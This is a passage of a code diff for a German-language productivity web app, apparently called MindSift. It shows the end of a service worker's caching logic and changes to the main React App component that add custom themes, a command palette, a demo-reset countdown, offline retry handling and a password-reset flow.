const hit = await cache.match(request);
|
||||||
|
if (hit) return hit;
|
||||||
|
const response = await fetch(request);
|
||||||
|
if (response.ok && response.type === 'basic') {
|
||||||
|
await cache.put(request, response.clone());
|
||||||
|
trimAssets();
|
||||||
|
}
|
||||||
|
return response;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function staleWhileRevalidate(request) {
|
||||||
|
const cache = await caches.open(SHELL_CACHE);
|
||||||
|
const hit = await cache.match(request);
|
||||||
|
const refresh = fetch(request)
|
||||||
|
.then((response) => {
|
||||||
|
if (response.ok && response.type === 'basic') cache.put(request, response.clone());
|
||||||
|
return response;
|
||||||
|
})
|
||||||
|
.catch(() => hit || Response.error());
|
||||||
|
return hit || refresh;
|
||||||
|
}
|
||||||
|
|
||||||
|
self.addEventListener('fetch', (event) => {
|
||||||
|
const { request } = event;
|
||||||
|
if (request.method !== 'GET') return;
|
||||||
|
const url = new URL(request.url);
|
||||||
|
if (url.origin !== self.location.origin || url.pathname.startsWith('/api/')) return;
|
||||||
|
|
||||||
|
if (request.mode === 'navigate') {
|
||||||
|
event.respondWith(networkFirstPage(request));
|
||||||
|
} else if (url.pathname.startsWith('/assets/')) {
|
||||||
|
event.respondWith(cacheFirstAsset(request));
|
||||||
|
} else if (SHELL_URLS.includes(url.pathname)) {
|
||||||
|
event.respondWith(staleWhileRevalidate(request));
|
||||||
|
}
|
||||||
});
|
});
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
import React, { useCallback, useEffect, useRef, useState } from 'react';
|
import React, { useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
||||||
import {
|
import {
|
||||||
Layers,
|
Layers,
|
||||||
CheckSquare,
|
CheckSquare,
|
||||||
@@ -23,8 +23,9 @@ import {
|
|||||||
Flame,
|
Flame,
|
||||||
Mic,
|
Mic,
|
||||||
MicOff,
|
MicOff,
|
||||||
|
Search,
|
||||||
} from 'lucide-react';
|
} from 'lucide-react';
|
||||||
import { AuthStatus, DashboardStats, PriorityLevel, SharedList, Thought, User } from './lib/types';
|
import { AuthStatus, DashboardStats, PriorityLevel, SharedList, Thought, User, UserTheme } from './lib/types';
|
||||||
import {
|
import {
|
||||||
api,
|
api,
|
||||||
clearToken,
|
clearToken,
|
||||||
@@ -32,19 +33,27 @@ import {
|
|||||||
triggerHaptic,
|
triggerHaptic,
|
||||||
connectWebSocket,
|
connectWebSocket,
|
||||||
disconnectWebSocket,
|
disconnectWebSocket,
|
||||||
|
isSharingDisabled,
|
||||||
} from './lib/api';
|
} from './lib/api';
|
||||||
import {
|
import {
|
||||||
AVAILABLE_THEMES,
|
AVAILABLE_THEMES,
|
||||||
|
customThemeOption,
|
||||||
initThemeOnBoot,
|
initThemeOnBoot,
|
||||||
|
isCustomThemeId,
|
||||||
setActiveTheme as applyTheme,
|
setActiveTheme as applyTheme,
|
||||||
ThemeId,
|
ThemeId,
|
||||||
} from './lib/theme';
|
} from './lib/theme';
|
||||||
import { InstantCaptureBar } from './features/capture/InstantCaptureBar';
|
import { InstantCaptureBar } from './features/capture/InstantCaptureBar';
|
||||||
|
import { HoldToRecordFab } from './features/capture/HoldToRecordFab';
|
||||||
|
import { CountBadge } from './components/CountBadge';
|
||||||
import { TriageDeck } from './features/triage/TriageDeck';
|
import { TriageDeck } from './features/triage/TriageDeck';
|
||||||
import { TasksView } from './features/triage/TasksView';
|
import { TasksView } from './features/triage/TasksView';
|
||||||
import { WorkspaceView } from './features/workspace/WorkspaceView';
|
import { WorkspaceView } from './features/workspace/WorkspaceView';
|
||||||
import { SharedListsView } from './features/lists/SharedListsView';
|
import { SharedListsView } from './features/lists/SharedListsView';
|
||||||
import { SetupAndAuthView } from './features/auth/SetupAndAuthView';
|
import { SetupAndAuthView } from './features/auth/SetupAndAuthView';
|
||||||
|
import { OfflineBanner } from './components/OfflineBanner';
|
||||||
|
import { outboxCount, clearOfflineData } from './lib/offline';
|
||||||
|
import { DemoCountdown } from './components/DemoCountdown';
|
||||||
import { UserSettingsView } from './features/settings/UserSettingsView';
|
import { UserSettingsView } from './features/settings/UserSettingsView';
|
||||||
import { AdminSettingsView } from './features/settings/AdminSettingsView';
|
import { AdminSettingsView } from './features/settings/AdminSettingsView';
|
||||||
import { HelpView } from './features/help/HelpView';
|
import { HelpView } from './features/help/HelpView';
|
||||||
@@ -52,6 +61,7 @@ import { GroupsView } from './features/teams/GroupsView';
|
|||||||
import { useMobileActions } from './context/MobileActionContext';
|
import { useMobileActions } from './context/MobileActionContext';
|
||||||
import { MobileHeaderMenu } from './components/MobileHeaderMenu';
|
import { MobileHeaderMenu } from './components/MobileHeaderMenu';
|
||||||
import { UserAvatar } from './components/UserAvatar';
|
import { UserAvatar } from './components/UserAvatar';
|
||||||
|
import { CommandPalette } from './components/CommandPalette';
|
||||||
import { APP_VERSION } from './version';
|
import { APP_VERSION } from './version';
|
||||||
|
|
||||||
type ActiveTab =
|
type ActiveTab =
|
||||||
@@ -114,12 +124,32 @@ export const App: React.FC = () => {
|
|||||||
instanceName: 'MindSift',
|
instanceName: 'MindSift',
|
||||||
});
|
});
|
||||||
const [user, setUser] = useState<User | null>(null);
|
const [user, setUser] = useState<User | null>(null);
|
||||||
|
// Demo mode: when the next reset happens (local clock), and a counter that remounts all views after it
|
||||||
|
const [demoDeadline, setDemoDeadline] = useState<number | null>(null);
|
||||||
|
const [dataEpoch, setDataEpoch] = useState(0);
|
||||||
|
const [demoNotice, setDemoNotice] = useState<string | null>(null);
|
||||||
|
const lastDemoResetRef = useRef(0);
|
||||||
|
const handleDemoResetRef = useRef<() => void>(() => {});
|
||||||
|
// Link from the password reset mail (?resetToken=…); removed from the address bar right away
|
||||||
|
const [resetToken, setResetToken] = useState<string | null>(() => {
|
||||||
|
try {
|
||||||
|
return new URLSearchParams(window.location.search).get('resetToken');
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
useEffect(() => {
|
||||||
|
if (resetToken) window.history.replaceState(null, '', window.location.pathname);
|
||||||
|
}, [resetToken]);
|
||||||
|
const [customThemes, setCustomThemes] = useState<UserTheme[]>([]);
|
||||||
|
const allThemes = useMemo(() => [...AVAILABLE_THEMES, ...customThemes.map(customThemeOption)], [customThemes]);
|
||||||
const [stats, setStats] = useState<DashboardStats>({
|
const [stats, setStats] = useState<DashboardStats>({
|
||||||
inboxCount: 0,
|
inboxCount: 0,
|
||||||
tasksOpenCount: 0,
|
tasksOpenCount: 0,
|
||||||
tasksDoneCount: 0,
|
tasksDoneCount: 0,
|
||||||
docsCount: 0,
|
docsCount: 0,
|
||||||
docsTodosOpenCount: 0,
|
docsTodosOpenCount: 0,
|
||||||
|
listItemsOpenCount: 0,
|
||||||
listsCount: 0,
|
listsCount: 0,
|
||||||
discardedCount: 0,
|
discardedCount: 0,
|
||||||
});
|
});
|
||||||
@@ -130,6 +160,8 @@ export const App: React.FC = () => {
|
|||||||
const [selectedDocId, setSelectedDocId] = useState<string | null>(null);
|
const [selectedDocId, setSelectedDocId] = useState<string | null>(null);
|
||||||
const [selectedBlockId, setSelectedBlockId] = useState<string | null>(null);
|
const [selectedBlockId, setSelectedBlockId] = useState<string | null>(null);
|
||||||
const [selectedTaskId, setSelectedTaskId] = useState<string | null>(null);
|
const [selectedTaskId, setSelectedTaskId] = useState<string | null>(null);
|
||||||
|
const [selectedListId, setSelectedListId] = useState<string | null>(null);
|
||||||
|
const [showCommandPalette, setShowCommandPalette] = useState(false);
|
||||||
const [captureFocusCount, setCaptureFocusCount] = useState(0);
|
const [captureFocusCount, setCaptureFocusCount] = useState(0);
|
||||||
const [refreshRevision, setRefreshRevision] = useState(0);
|
const [refreshRevision, setRefreshRevision] = useState(0);
|
||||||
|
|
||||||
@@ -226,7 +258,7 @@ export const App: React.FC = () => {
|
|||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
closeMenu();
|
closeMenu();
|
||||||
if (activeTab === 'triage') {
|
if (activeTab === 'triage') {
|
||||||
setPrimaryAction(() => openMobileTriageCapture);
|
setPrimaryAction(openMobileTriageCapture);
|
||||||
setGroups([
|
setGroups([
|
||||||
{
|
{
|
||||||
id: 'triage-actions',
|
id: 'triage-actions',
|
||||||
@@ -273,12 +305,16 @@ export const App: React.FC = () => {
|
|||||||
badge: stats.listsCount,
|
badge: stats.listsCount,
|
||||||
onClick: () => setActiveTab('lists'),
|
onClick: () => setActiveTab('lists'),
|
||||||
},
|
},
|
||||||
{
|
...(isSharingDisabled()
|
||||||
id: 'goto-groups',
|
? []
|
||||||
label: 'Teams & Gruppen',
|
: [
|
||||||
icon: <Users className="w-4 h-4" />,
|
{
|
||||||
onClick: () => setActiveTab('groups'),
|
id: 'goto-groups',
|
||||||
},
|
label: 'Gruppen',
|
||||||
|
icon: <Users className="w-4 h-4" />,
|
||||||
|
onClick: () => setActiveTab('groups'),
|
||||||
|
},
|
||||||
|
]),
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
]);
|
]);
|
||||||
@@ -411,12 +447,33 @@ export const App: React.FC = () => {
|
|||||||
setShowProfileMenu(false);
|
setShowProfileMenu(false);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const activateTheme = (themeId: ThemeId, themes: UserTheme[]) => {
|
||||||
|
const css = themes.find((t) => 'custom:' + t.id === themeId)?.css;
|
||||||
|
applyTheme(themeId, css);
|
||||||
|
setActiveThemeState(isCustomThemeId(themeId) && css === undefined ? 'dark' : themeId);
|
||||||
|
};
|
||||||
|
|
||||||
const handleChangeTheme = (themeId: ThemeId) => {
|
const handleChangeTheme = (themeId: ThemeId) => {
|
||||||
triggerHaptic(10);
|
triggerHaptic(10);
|
||||||
applyTheme(themeId);
|
activateTheme(themeId, customThemes);
|
||||||
setActiveThemeState(themeId);
|
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Custom themes live on the server; after login refresh them and the active one (it may have
|
||||||
|
// been edited or deleted on another device)
|
||||||
|
const handleCustomThemesChange = (themes: UserTheme[], activate?: ThemeId) => {
|
||||||
|
setCustomThemes(themes);
|
||||||
|
const next = activate ?? activeTheme;
|
||||||
|
if (activate || isCustomThemeId(next)) activateTheme(next, themes);
|
||||||
|
};
|
||||||
|
useEffect(() => {
|
||||||
|
if (!user?.id) return;
|
||||||
|
api
|
||||||
|
.getThemes()
|
||||||
|
.then((themes) => handleCustomThemesChange(themes))
|
||||||
|
.catch(() => {});
|
||||||
|
|
||||||
|
}, [user?.id]);
|
||||||
|
|
||||||
const refreshAll = useCallback(async () => {
|
const refreshAll = useCallback(async () => {
|
||||||
try {
|
try {
|
||||||
const [meRes, deckRes, listsRes] = await Promise.all([
|
const [meRes, deckRes, listsRes] = await Promise.all([
|
||||||
@@ -479,9 +536,15 @@ export const App: React.FC = () => {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Changes still waiting (server was unreachable although the device was online) are retried
|
||||||
|
const retry = window.setInterval(() => {
|
||||||
|
if (navigator.onLine && outboxCount() > 0) onOnline();
|
||||||
|
}, 30000);
|
||||||
|
|
||||||
window.addEventListener('mindsift:unauthorized', onUnauthorized);
|
window.addEventListener('mindsift:unauthorized', onUnauthorized);
|
||||||
window.addEventListener('online', onOnline);
|
window.addEventListener('online', onOnline);
|
||||||
return () => {
|
return () => {
|
||||||
|
window.clearInterval(retry);
|
||||||
window.removeEventListener('mindsift:unauthorized', onUnauthorized);
|
window.removeEventListener('mindsift:unauthorized', onUnauthorized);
|
||||||
window.removeEventListener('online', onOnline);
|
window.removeEventListener('online', onOnline);
|
||||||
};
|
};
|
||||||
@@ -496,14 +559,53 @@ export const App: React.FC = () => {
|
|||||||
}
|
}
|
||||||
}, [user?.id]);
|
}, [user?.id]);
|
||||||
|
|
||||||
// Refresh stats on task/doc real-time events
|
useEffect(() => {
|
||||||
|
setDemoDeadline(
|
||||||
|
authStatus.demoMode && typeof authStatus.demoResetInSeconds === 'number'
|
||||||
|
? Date.now() + authStatus.demoResetInSeconds * 1000
|
||||||
|
: null
|
||||||
|
);
|
||||||
|
}, [authStatus.demoMode, authStatus.demoResetInSeconds]);
|
||||||
|
|
||||||
|
// The demo database was reset: drop cached answers of the old data, remount the views (they load
|
||||||
|
// fresh data), refresh counters and the countdown. Sessions stay valid (fixed demo account IDs).
|
||||||
|
const handleDemoReset = useCallback(() => {
|
||||||
|
if (Date.now() - lastDemoResetRef.current < 30000) return; // event and countdown may both report it
|
||||||
|
lastDemoResetRef.current = Date.now();
|
||||||
|
void clearOfflineData();
|
||||||
|
setDataEpoch((n) => n + 1);
|
||||||
|
refreshAll();
|
||||||
|
api.getAuthStatus().then(setAuthStatus).catch(() => {});
|
||||||
|
setDemoNotice('Demo-Instanz wurde zurückgesetzt');
|
||||||
|
window.setTimeout(() => setDemoNotice(null), 4000);
|
||||||
|
}, [refreshAll]);
|
||||||
|
handleDemoResetRef.current = handleDemoReset;
|
||||||
|
|
||||||
|
// Countdown reached zero but no DEMO_RESET arrived (e.g. long polling): ask the server shortly after
|
||||||
|
const handleDemoCountdownElapsed = useCallback(() => {
|
||||||
|
window.setTimeout(() => {
|
||||||
|
api
|
||||||
|
.getAuthStatus()
|
||||||
|
.then((st) => {
|
||||||
|
if ((st.demoResetInSeconds ?? 0) > 60) handleDemoResetRef.current();
|
||||||
|
else setAuthStatus(st);
|
||||||
|
})
|
||||||
|
.catch(() => {});
|
||||||
|
}, 5000);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
// Refresh stats on task/doc/list real-time events (counters in the navigation)
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
const handleWs = (e: any) => {
|
const handleWs = (e: any) => {
|
||||||
const msg = e.detail;
|
const msg = e.detail;
|
||||||
if (!msg) return;
|
if (!msg) return;
|
||||||
|
if (msg.event === 'DEMO_RESET') {
|
||||||
|
handleDemoResetRef.current();
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (
|
if (
|
||||||
typeof msg.event === 'string' &&
|
typeof msg.event === 'string' &&
|
||||||
(msg.event.startsWith('TASK_') || msg.event.startsWith('DOC_') || msg.event.startsWith('SPACE_'))
|
['TASK_', 'DOC_', 'SPACE_', 'ITEM_', 'LIST_'].some((prefix) => msg.event.startsWith(prefix))
|
||||||
) {
|
) {
|
||||||
api.getMe().then((res) => {
|
api.getMe().then((res) => {
|
||||||
setStats(res.stats);
|
setStats(res.stats);
|
||||||
@@ -563,6 +665,36 @@ export const App: React.FC = () => {
|
|||||||
setActiveTab('tasks');
|
setActiveTab('tasks');
|
||||||
}, []);
|
}, []);
|
||||||
|
|
||||||
|
const handleOpenList = (listId: string) => {
|
||||||
|
setSelectedListId(listId);
|
||||||
|
setActiveTab('lists');
|
||||||
|
};
|
||||||
|
|
||||||
|
// Global Command Palette shortcuts: Cmd+K / Ctrl+K, and '/' when not in input
|
||||||
|
useEffect(() => {
|
||||||
|
const handleKeyDown = (e: KeyboardEvent) => {
|
||||||
|
const el = e.target as HTMLElement;
|
||||||
|
const isEditing =
|
||||||
|
el.tagName === 'INPUT' ||
|
||||||
|
el.tagName === 'TEXTAREA' ||
|
||||||
|
el.isContentEditable;
|
||||||
|
|
||||||
|
if ((e.metaKey || e.ctrlKey) && e.key.toLowerCase() === 'k') {
|
||||||
|
e.preventDefault();
|
||||||
|
setShowCommandPalette((prev) => !prev);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!isEditing && e.key === '/') {
|
||||||
|
e.preventDefault();
|
||||||
|
setShowCommandPalette(true);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
window.addEventListener('keydown', handleKeyDown);
|
||||||
|
return () => window.removeEventListener('keydown', handleKeyDown);
|
||||||
|
}, []);
|
||||||
|
|
||||||
const handleTriggerAddButton = () => {
|
const handleTriggerAddButton = () => {
|
||||||
triggerHaptic(20);
|
triggerHaptic(20);
|
||||||
if (window.innerWidth < 640) {
|
if (window.innerWidth < 640) {
|
||||||
@@ -601,11 +733,19 @@ export const App: React.FC = () => {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Show Setup Wizard or Login Screen if needsSetup or not logged in
|
// Show Setup Wizard or Login Screen if needsSetup or not logged in
|
||||||
if (authStatus.needsSetup || !user) {
|
if (authStatus.needsSetup || !user || resetToken) {
|
||||||
return (
|
return (
|
||||||
<SetupAndAuthView
|
<SetupAndAuthView
|
||||||
authStatus={authStatus}
|
authStatus={authStatus}
|
||||||
onAuthenticated={handleAuthenticated}
|
onAuthenticated={handleAuthenticated}
|
||||||
|
resetToken={resetToken}
|
||||||
|
onResetDone={() => {
|
||||||
|
// The new password ended every session, this one included
|
||||||
|
setResetToken(null);
|
||||||
|
clearToken();
|
||||||
|
setUser(null);
|
||||||
|
}}
|
||||||
|
onResetCancel={() => setResetToken(null)}
|
||||||
/>
|
/>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
@@ -618,7 +758,7 @@ export const App: React.FC = () => {
|
|||||||
tasks: 'Aufgaben',
|
tasks: 'Aufgaben',
|
||||||
workspace: 'Workspace',
|
workspace: 'Workspace',
|
||||||
lists: 'Listen',
|
lists: 'Listen',
|
||||||
groups: 'Teams & Gruppen',
|
groups: 'Gruppen',
|
||||||
user_settings: 'Einstellungen',
|
user_settings: 'Einstellungen',
|
||||||
admin_settings: 'Administration',
|
admin_settings: 'Administration',
|
||||||
help: 'Hilfe',
|
help: 'Hilfe',
|
||||||
@@ -649,11 +789,17 @@ export const App: React.FC = () => {
|
|||||||
<span className="font-bold text-base text-main tracking-tight leading-none">
|
<span className="font-bold text-base text-main tracking-tight leading-none">
|
||||||
{authStatus.instanceName || 'MindSift'}
|
{authStatus.instanceName || 'MindSift'}
|
||||||
</span>
|
</span>
|
||||||
<span className="text-[9px] text-muted font-mono leading-tight mt-0.5">{APP_VERSION}</span>
|
{demoDeadline ? (
|
||||||
|
<DemoCountdown
|
||||||
|
deadline={demoDeadline}
|
||||||
|
minutes={authStatus.demoResetMinutes}
|
||||||
|
onElapsed={handleDemoCountdownElapsed}
|
||||||
|
className="text-[9px] mt-0.5"
|
||||||
|
/>
|
||||||
|
) : (
|
||||||
|
<span className="text-[9px] text-muted font-mono leading-tight mt-0.5">{APP_VERSION}</span>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
<span className="text-[11px] font-semibold text-accent bg-accent/15 px-1.5 py-0.5 rounded-md">
|
|
||||||
{activeTabLabelMap[activeTab]}
|
|
||||||
</span>
|
|
||||||
<ChevronDown
|
<ChevronDown
|
||||||
className={`w-4 h-4 text-muted transition-transform duration-150 ${
|
className={`w-4 h-4 text-muted transition-transform duration-150 ${
|
||||||
isMenuOpen ? 'rotate-180 text-accent' : ''
|
isMenuOpen ? 'rotate-180 text-accent' : ''
|
||||||
@@ -679,6 +825,19 @@ export const App: React.FC = () => {
|
|||||||
</button>
|
</button>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => {
|
||||||
|
triggerHaptic(10);
|
||||||
|
setShowCommandPalette(true);
|
||||||
|
}}
|
||||||
|
className="w-11 h-11 rounded-full flex items-center justify-center text-muted hover:text-main bg-panel border border-border transition-transform active:scale-95 cursor-pointer"
|
||||||
|
title="Globale Suche"
|
||||||
|
aria-label="Globale Suche öffnen"
|
||||||
|
>
|
||||||
|
<Search className="w-4 h-4" />
|
||||||
|
</button>
|
||||||
|
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => {
|
onClick={() => {
|
||||||
@@ -714,17 +873,37 @@ export const App: React.FC = () => {
|
|||||||
<span className="font-bold text-sm sm:text-base text-main tracking-tight leading-none">
|
<span className="font-bold text-sm sm:text-base text-main tracking-tight leading-none">
|
||||||
{authStatus.instanceName || 'MindSift'}
|
{authStatus.instanceName || 'MindSift'}
|
||||||
</span>
|
</span>
|
||||||
<span className="text-[10px] text-muted font-mono leading-tight mt-0.5">{APP_VERSION}</span>
|
{demoDeadline ? (
|
||||||
|
<DemoCountdown
|
||||||
|
deadline={demoDeadline}
|
||||||
|
minutes={authStatus.demoResetMinutes}
|
||||||
|
onElapsed={handleDemoCountdownElapsed}
|
||||||
|
className="text-[10px] mt-0.5"
|
||||||
|
/>
|
||||||
|
) : (
|
||||||
|
<span className="text-[10px] text-muted font-mono leading-tight mt-0.5">{APP_VERSION}</span>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Quick-Capture Input Bubble directly in Header (above Tabs) */}
|
{/* Quick-Capture Input Bubble directly in Header (above Tabs) */}
|
||||||
<div className="flex-1 max-w-xl mx-auto">
|
<div className="flex-1 max-w-xl mx-auto flex items-center gap-2">
|
||||||
<InstantCaptureBar
|
<div className="flex-1">
|
||||||
onCaptured={handleCaptured}
|
<InstantCaptureBar
|
||||||
lists={lists}
|
onCaptured={handleCaptured}
|
||||||
autoFocusTrigger={captureFocusCount}
|
lists={lists}
|
||||||
/>
|
autoFocusTrigger={captureFocusCount}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => setShowCommandPalette(true)}
|
||||||
|
className="w-8 h-8 rounded-full bg-panel border border-border text-muted hover:text-main flex items-center justify-center transition-colors cursor-pointer shrink-0"
|
||||||
|
title="Globale Suche (Strg+K / ⌘K oder /)"
|
||||||
|
aria-label="Globale Suche (Strg+K / ⌘K oder /)"
|
||||||
|
>
|
||||||
|
<Search className="w-3.5 h-3.5" />
|
||||||
|
</button>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* User Profile Pill & Dropdown Menu */}
|
{/* User Profile Pill & Dropdown Menu */}
|
||||||
@@ -765,7 +944,7 @@ export const App: React.FC = () => {
|
|||||||
<span>Design-Theme</span>
|
<span>Design-Theme</span>
|
||||||
</span>
|
</span>
|
||||||
<div className="grid grid-cols-2 gap-1">
|
<div className="grid grid-cols-2 gap-1">
|
||||||
{AVAILABLE_THEMES.map((t) => (
|
{allThemes.map((t) => (
|
||||||
<button
|
<button
|
||||||
key={t.id}
|
key={t.id}
|
||||||
type="button"
|
type="button"
|
||||||
@@ -802,6 +981,7 @@ export const App: React.FC = () => {
|
|||||||
<span>Kontoeinstellungen</span>
|
<span>Kontoeinstellungen</span>
|
||||||
</button>
|
</button>
|
||||||
|
|
||||||
|
{!isSharingDisabled() && (
|
||||||
<button
|
<button
|
||||||
onClick={() => {
|
onClick={() => {
|
||||||
triggerHaptic(10);
|
triggerHaptic(10);
|
||||||
@@ -815,6 +995,7 @@ export const App: React.FC = () => {
|
|||||||
<Users className="w-4 h-4 text-accent" />
|
<Users className="w-4 h-4 text-accent" />
|
||||||
<span>Gruppen</span>
|
<span>Gruppen</span>
|
||||||
</button>
|
</button>
|
||||||
|
)}
|
||||||
|
|
||||||
<button
|
<button
|
||||||
onClick={handleOpenHelp}
|
onClick={handleOpenHelp}
|
||||||
@@ -871,13 +1052,9 @@ export const App: React.FC = () => {
|
|||||||
className={`tab-btn ${activeTab === 'triage' ? 'tab-btn-active' : ''}`}
|
className={`tab-btn ${activeTab === 'triage' ? 'tab-btn-active' : ''}`}
|
||||||
>
|
>
|
||||||
<Layers className="w-4 h-4" />
|
<Layers className="w-4 h-4" />
|
||||||
<span className={`relative inline-flex items-center ${stats.inboxCount > 0 ? 'pr-2' : ''}`}>
|
<span className={`relative inline-flex items-center ${stats.inboxCount > 0 ? 'pr-3' : ''}`}>
|
||||||
<span>Triage</span>
|
<span>Triage</span>
|
||||||
{stats.inboxCount > 0 && (
|
<CountBadge count={stats.inboxCount} variant="accent" position="corner" className="-top-0.5 -right-2" />
|
||||||
<span className="absolute -top-1.5 -right-1 min-w-[15px] h-[15px] px-0.5 rounded-full text-[9px] font-bold leading-none bg-accent text-on-accent flex items-center justify-center shadow-sm pointer-events-none">
|
|
||||||
{stats.inboxCount}
|
|
||||||
</span>
|
|
||||||
)}
|
|
||||||
</span>
|
</span>
|
||||||
</button>
|
</button>
|
||||||
|
|
||||||
@@ -889,14 +1066,7 @@ export const App: React.FC = () => {
|
|||||||
className={`tab-btn ${activeTab === 'workspace' ? 'tab-btn-active' : ''}`}
|
className={`tab-btn ${activeTab === 'workspace' ? 'tab-btn-active' : ''}`}
|
||||||
>
|
>
|
||||||
<FileText className="w-4 h-4" />
|
<FileText className="w-4 h-4" />
|
||||||
<span className={`relative inline-flex items-center ${(stats.docsTodosOpenCount ?? 0) > 0 ? 'pr-2' : ''}`}>
|
<span>Workspace</span>
|
||||||
<span>Workspace</span>
|
|
||||||
{(stats.docsTodosOpenCount ?? 0) > 0 && (
|
|
||||||
<span className="absolute -top-1.5 -right-1 min-w-[15px] h-[15px] px-0.5 rounded-full text-[9px] font-bold leading-none bg-accent text-on-accent flex items-center justify-center shadow-sm pointer-events-none">
|
|
||||||
{stats.docsTodosOpenCount}
|
|
||||||
</span>
|
|
||||||
)}
|
|
||||||
</span>
|
|
||||||
</button>
|
</button>
|
||||||
|
|
||||||
<button
|
<button
|
||||||
@@ -907,13 +1077,9 @@ export const App: React.FC = () => {
|
|||||||
className={`tab-btn ${activeTab === 'tasks' ? 'tab-btn-active' : ''}`}
|
className={`tab-btn ${activeTab === 'tasks' ? 'tab-btn-active' : ''}`}
|
||||||
>
|
>
|
||||||
<CheckSquare className="w-4 h-4" />
|
<CheckSquare className="w-4 h-4" />
|
||||||
<span className={`relative inline-flex items-center ${stats.tasksOpenCount > 0 ? 'pr-2' : ''}`}>
|
<span className={`relative inline-flex items-center ${stats.tasksOpenCount > 0 ? 'pr-3' : ''}`}>
|
||||||
<span>Aufgaben</span>
|
<span>Aufgaben</span>
|
||||||
{stats.tasksOpenCount > 0 && (
|
<CountBadge count={stats.tasksOpenCount} variant="accent" position="corner" className="-top-0.5 -right-2" />
|
||||||
<span className="absolute -top-1.5 -right-1 min-w-[15px] h-[15px] px-0.5 rounded-full text-[9px] font-bold leading-none bg-accent text-on-accent flex items-center justify-center shadow-sm pointer-events-none">
|
|
||||||
{stats.tasksOpenCount}
|
|
||||||
</span>
|
|
||||||
)}
|
|
||||||
</span>
|
</span>
|
||||||
</button>
|
</button>
|
||||||
|
|
||||||
@@ -925,7 +1091,10 @@ export const App: React.FC = () => {
|
|||||||
className={`tab-btn ${activeTab === 'lists' ? 'tab-btn-active' : ''}`}
|
className={`tab-btn ${activeTab === 'lists' ? 'tab-btn-active' : ''}`}
|
||||||
>
|
>
|
||||||
<ShoppingCart className="w-4 h-4" />
|
<ShoppingCart className="w-4 h-4" />
|
||||||
<span>Listen</span>
|
<span className={`relative inline-flex items-center ${(stats.listItemsOpenCount ?? 0) > 0 ? 'pr-3' : ''}`}>
|
||||||
|
<span>Listen</span>
|
||||||
|
<CountBadge count={stats.listItemsOpenCount} variant="accent" position="corner" className="-top-0.5 -right-2" />
|
||||||
|
</span>
|
||||||
</button>
|
</button>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -948,11 +1117,20 @@ export const App: React.FC = () => {
|
|||||||
</header>
|
</header>
|
||||||
|
|
||||||
<MobileHeaderMenu activeTabLabel={activeTabLabelMap[activeTab]} />
|
<MobileHeaderMenu activeTabLabel={activeTabLabelMap[activeTab]} />
|
||||||
|
<OfflineBanner />
|
||||||
|
{demoNotice && (
|
||||||
|
<div
|
||||||
|
role="status"
|
||||||
|
className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] sm:bottom-4 z-[60] px-3 py-1.5 rounded-full border border-accent/40 bg-panel-elevated text-main text-[11px] font-medium shadow-panel"
|
||||||
|
>
|
||||||
|
✨ {demoNotice}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
{/* Main Container */}
|
{/* Main Container */}
|
||||||
<main className="flex-1 max-w-6xl w-full mx-auto px-3 sm:px-4 pt-3 pb-24 sm:pb-6">
|
<main className="flex-1 max-w-6xl w-full mx-auto px-3 sm:px-4 pt-3 pb-24 sm:pb-6">
|
||||||
<ViewErrorBoundary onReset={() => setActiveTab('triage')}>
|
<ViewErrorBoundary onReset={() => setActiveTab('triage')}>
|
||||||
<section>
|
<section key={dataEpoch}>
|
||||||
{activeTab === 'triage' && (
|
{activeTab === 'triage' && (
|
||||||
<TriageDeck
|
<TriageDeck
|
||||||
deck={deck}
|
deck={deck}
|
||||||
@@ -970,6 +1148,7 @@ export const App: React.FC = () => {
|
|||||||
onOpenDocument={handleOpenDocument}
|
onOpenDocument={handleOpenDocument}
|
||||||
refreshTrigger={refreshRevision}
|
refreshTrigger={refreshRevision}
|
||||||
initialSelectedTaskId={selectedTaskId}
|
initialSelectedTaskId={selectedTaskId}
|
||||||
|
openTasksCount={stats.tasksOpenCount}
|
||||||
/>
|
/>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
@@ -980,6 +1159,7 @@ export const App: React.FC = () => {
|
|||||||
initialBlockId={selectedBlockId}
|
initialBlockId={selectedBlockId}
|
||||||
onStatsChange={refreshAll}
|
onStatsChange={refreshAll}
|
||||||
onOpenTask={handleOpenTask}
|
onOpenTask={handleOpenTask}
|
||||||
|
onOpenSearch={() => setShowCommandPalette(true)}
|
||||||
/>
|
/>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
@@ -988,7 +1168,11 @@ export const App: React.FC = () => {
|
|||||||
)}
|
)}
|
||||||
|
|
||||||
{activeTab === 'lists' && (
|
{activeTab === 'lists' && (
|
||||||
<SharedListsView onRefreshGlobal={refreshAll} currentUser={user} />
|
<SharedListsView
|
||||||
|
onRefreshGlobal={refreshAll}
|
||||||
|
currentUser={user}
|
||||||
|
initialListId={selectedListId}
|
||||||
|
/>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
